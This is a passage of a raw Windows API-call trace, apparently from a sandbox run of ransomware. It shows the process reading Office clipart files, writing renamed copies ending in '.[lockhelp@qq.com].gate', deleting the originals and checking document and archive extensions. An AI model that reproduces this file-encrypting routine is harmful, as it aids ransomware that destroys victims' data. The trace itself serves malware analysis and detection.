lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0319.022] SetEndOfFile (hFile=0x37c) returned 1 [0319.023] CloseHandle (hObject=0x37c) returned 1 [0319.023] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0319.023] SetEndOfFile (hFile=0x378) returned 1 [0319.023] CloseHandle (hObject=0x378) returned 1 [0319.023] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0319.024] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif")) returned 1 [0319.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0319.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0319.024] lstrlenW (lpString=".doc") returned 4 [0319.024] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0319.024] lstrlenW (lpString=".docx") returned 5 [0319.024] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0319.024] lstrlenW (lpString=".pdf") returned 4 [0319.024] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0319.024] lstrlenW (lpString=".xls") returned 4 [0319.024] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0319.024] lstrlenW (lpString=".xlsx") returned 5 [0319.024] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0319.025] lstrlenW (lpString=".ppt") returned 4 [0319.025] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0319.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0319.025] lstrlenW (lpString=".zip") returned 4 [0319.025] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0319.025] lstrlenW (lpString=".rar") returned 4 [0319.025] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0319.025] lstrlenW (lpString=".bz2") returned 4 [0319.025] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0319.025] lstrlenW (lpString=".7z") returned 3 [0319.025] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0319.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0319.025] lstrlenW (lpString=".dbf") returned 4 [0319.025] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0319.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0319.025] lstrlenW (lpString=".1cd") returned 4 [0319.025] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0319.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0319.025] lstrlenW (lpString=".jpg") returned 4 [0319.025] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0319.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0319.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0319.025] lstrlenW (lpString=".doc") returned 4 [0319.025] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0319.025] lstrlenW (lpString=".docx") returned 5 [0319.025] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0319.025] lstrlenW (lpString=".pdf") returned 4 [0319.025] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0319.025] lstrlenW (lpString=".xls") returned 4 [0319.026] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0319.026] lstrlenW (lpString=".xlsx") returned 5 [0319.026] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0319.026] lstrlenW (lpString=".ppt") returned 4 [0319.026] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0319.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0319.026] lstrlenW (lpString=".zip") returned 4 [0319.026] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0319.026] lstrlenW (lpString=".rar") returned 4 [0319.026] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0319.026] lstrlenW (lpString=".bz2") returned 4 [0319.026] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0319.026] lstrlenW (lpString=".7z") returned 3 [0319.026] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0319.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0319.026] lstrlenW (lpString=".dbf") returned 4 [0319.026] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0319.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0319.026] lstrlenW (lpString=".1cd") returned 4 [0319.026] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0319.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0319.026] lstrlenW (lpString=".jpg") returned 4 [0319.026] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0319.027] lstrcmpiW (lpString1=".GIF", lpString2=".gate") returned 1 [0319.027] lstrlenW (lpString="AG00021_.GIF") returned 12 [0319.027] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0319.027] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=14873) returned 1 [0319.027] CloseHandle (hObject=0x378) returned 1 [0319.027] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif")) returned 0x220 [0319.027] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0319.027] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0319.028] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0319.028] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0319.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0319.028] GetLastError () returned 0x0 [0319.028] ReadFile (in: hFile=0x378, lpBuffer=0x3a15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesRead=0x2ecfecc*=0x3a19, lpOverlapped=0x0) returned 1 [0319.652] WriteFile (in: hFile=0x37c, lpBuffer=0x3a15020*, nNumberOfBytesToWrite=0x3a20, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesWritten=0x2ecfc94*=0x3a20, lpOverlapped=0x0) returned 1 [0319.653] ReadFile (in: hFile=0x378, lpBuffer=0x3a15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0319.653] WriteFile (in: hFile=0x37c, lpBuffer=0x3a15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0319.653] SetEndOfFile (hFile=0x37c) returned 1 [0319.653] CloseHandle (hObject=0x37c) returned 1 [0319.653] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0319.653] SetEndOfFile (hFile=0x378) returned 1 [0319.654] CloseHandle (hObject=0x378) returned 1 [0319.654] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0319.654] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif")) returned 1 [0319.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0319.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0319.655] lstrlenW (lpString=".doc") returned 4 [0319.655] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0319.655] lstrlenW (lpString=".docx") returned 5 [0319.655] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0319.655] lstrlenW (lpString=".pdf") returned 4 [0319.655] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0319.655] lstrlenW (lpString=".xls") returned 4 [0319.655] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0319.655] lstrlenW (lpString=".xlsx") returned 5 [0319.655] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0319.655] lstrlenW (lpString=".ppt") returned 4 [0319.655] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0319.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0319.655] lstrlenW (lpString=".zip") returned 4 [0319.655] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0319.655] lstrlenW (lpString=".rar") returned 4 [0319.655] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0319.655] lstrlenW (lpString=".bz2") returned 4 [0319.655] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0319.655] lstrlenW (lpString=".7z") returned 3 [0319.655] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0319.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0319.656] lstrlenW (lpString=".dbf") returned 4 [0319.656] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0319.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0319.656] lstrlenW (lpString=".1cd") returned 4 [0319.656] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0319.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0319.656] lstrlenW (lpString=".jpg") returned 4 [0319.656] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0319.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0319.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0319.656] lstrlenW (lpString=".doc") returned 4 [0319.656] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0319.656] lstrlenW (lpString=".docx") returned 5 [0319.656] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0319.656] lstrlenW (lpString=".pdf") returned 4 [0319.656] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0319.656] lstrlenW (lpString=".xls") returned 4 [0319.656] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0319.656] lstrlenW (lpString=".xlsx") returned 5 [0319.656] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0319.656] lstrlenW (lpString=".ppt") returned 4 [0319.656] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0319.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0319.656] lstrlenW (lpString=".zip") returned 4 [0319.656] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0319.656] lstrlenW (lpString=".rar") returned 4 [0319.656] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0319.656] lstrlenW (lpString=".bz2") returned 4 [0319.656] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0319.657] lstrlenW (lpString=".7z") returned 3 [0319.657] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0319.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0319.657] lstrlenW (lpString=".dbf") returned 4 [0319.657] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0319.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0319.657] lstrlenW (lpString=".1cd") returned 4 [0319.657] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0319.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0319.657] lstrlenW (lpString=".jpg") returned 4 [0319.657] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0319.657] lstrcmpiW (lpString1=".GIF", lpString2=".gate") returned 1 [0319.657] lstrlenW (lpString="AG00103_.GIF") returned 12 [0319.657] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0319.657] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=12702) returned 1 [0319.657] CloseHandle (hObject=0x378) returned 1 [0319.657] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif")) returned 0x220 [0319.657] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0319.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0319.658] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0319.658] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0319.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0319.658] GetLastError () returned 0x0 [0319.658] ReadFile (in: hFile=0x378, lpBuffer=0x3a15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesRead=0x2ecfecc*=0x319e, lpOverlapped=0x0) returned 1 [0319.659] WriteFile (in: hFile=0x37c, lpBuffer=0x3a15020*, nNumberOfBytesToWrite=0x31a0, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesWritten=0x2ecfc94*=0x31a0, lpOverlapped=0x0) returned 1 [0319.660] ReadFile (in: hFile=0x378, lpBuffer=0x3a15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0319.660] WriteFile (in: hFile=0x37c, lpBuffer=0x3a15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0319.660] SetEndOfFile (hFile=0x37c) returned 1 [0319.660] CloseHandle (hObject=0x37c) returned 1 [0319.660] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0319.661] SetEndOfFile (hFile=0x378) returned 1 [0319.661] CloseHandle (hObject=0x378) returned 1 [0319.661] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0319.662] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif")) returned 1 [0319.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0319.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0319.662] lstrlenW (lpString=".doc") returned 4 [0319.662] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0319.662] lstrlenW (lpString=".docx") returned 5 [0319.662] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0319.662] lstrlenW (lpString=".pdf") returned 4 [0319.662] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0319.662] lstrlenW (lpString=".xls") returned 4 [0319.662] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0319.662] lstrlenW (lpString=".xlsx") returned 5 [0319.662] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0319.662] lstrlenW (lpString=".ppt") returned 4 [0319.662] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0319.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0319.663] lstrlenW (lpString=".zip") returned 4 [0319.663] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0319.663] lstrlenW (lpString=".rar") returned 4 [0319.663] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0319.663] lstrlenW (lpString=".bz2") returned 4 [0319.663] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0319.663] lstrlenW (lpString=".7z") returned 3 [0319.663] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0319.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0319.663] lstrlenW (lpString=".dbf") returned 4 [0319.663] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0319.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0319.663] lstrlenW (lpString=".1cd") returned 4 [0319.663] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0319.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0319.663] lstrlenW (lpString=".jpg") returned 4 [0319.663] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0319.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0319.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0319.663] lstrlenW (lpString=".doc") returned 4 [0319.663] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0319.663] lstrlenW (lpString=".docx") returned 5 [0319.663] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0319.663] lstrlenW (lpString=".pdf") returned 4 [0319.663] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0319.663] lstrlenW (lpString=".xls") returned 4 [0319.663] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0319.663] lstrlenW (lpString=".xlsx") returned 5 [0319.663] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0319.664] lstrlenW (lpString=".ppt") returned 4 [0319.664] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0319.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0319.664] lstrlenW (lpString=".zip") returned 4 [0319.664] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0319.664] lstrlenW (lpString=".rar") returned 4 [0319.664] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0319.664] lstrlenW (lpString=".bz2") returned 4 [0319.664] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0319.664] lstrlenW (lpString=".7z") returned 3 [0319.664] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0319.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0319.664] lstrlenW (lpString=".dbf") returned 4 [0319.664] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0319.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0319.664] lstrlenW (lpString=".1cd") returned 4 [0319.664] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0319.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0319.664] lstrlenW (lpString=".jpg") returned 4 [0319.664] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0319.664] lstrcmpiW (lpString1=".GIF", lpString2=".gate") returned 1 [0319.665] lstrlenW (lpString="AG00120_.GIF") returned 12 [0319.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0319.665] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=3484) returned 1 [0319.665] CloseHandle (hObject=0x378) returned 1 [0319.665] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif")) returned 0x220 [0319.665] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0319.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0319.665] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0319.665] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0319.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0319.666] GetLastError () returned 0x0 [0319.666] ReadFile (in: hFile=0x378, lpBuffer=0x3a15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesRead=0x2ecfecc*=0xd9c, lpOverlapped=0x0) returned 1 [0319.667] WriteFile (in: hFile=0x37c, lpBuffer=0x3a15020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesWritten=0x2ecfc94*=0xda0, lpOverlapped=0x0) returned 1 [0319.668] ReadFile (in: hFile=0x378, lpBuffer=0x3a15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0319.668] WriteFile (in: hFile=0x37c, lpBuffer=0x3a15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0319.668] SetEndOfFile (hFile=0x37c) returned 1 [0319.668] CloseHandle (hObject=0x37c) returned 1 [0319.668] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0319.668] SetEndOfFile (hFile=0x378) returned 1 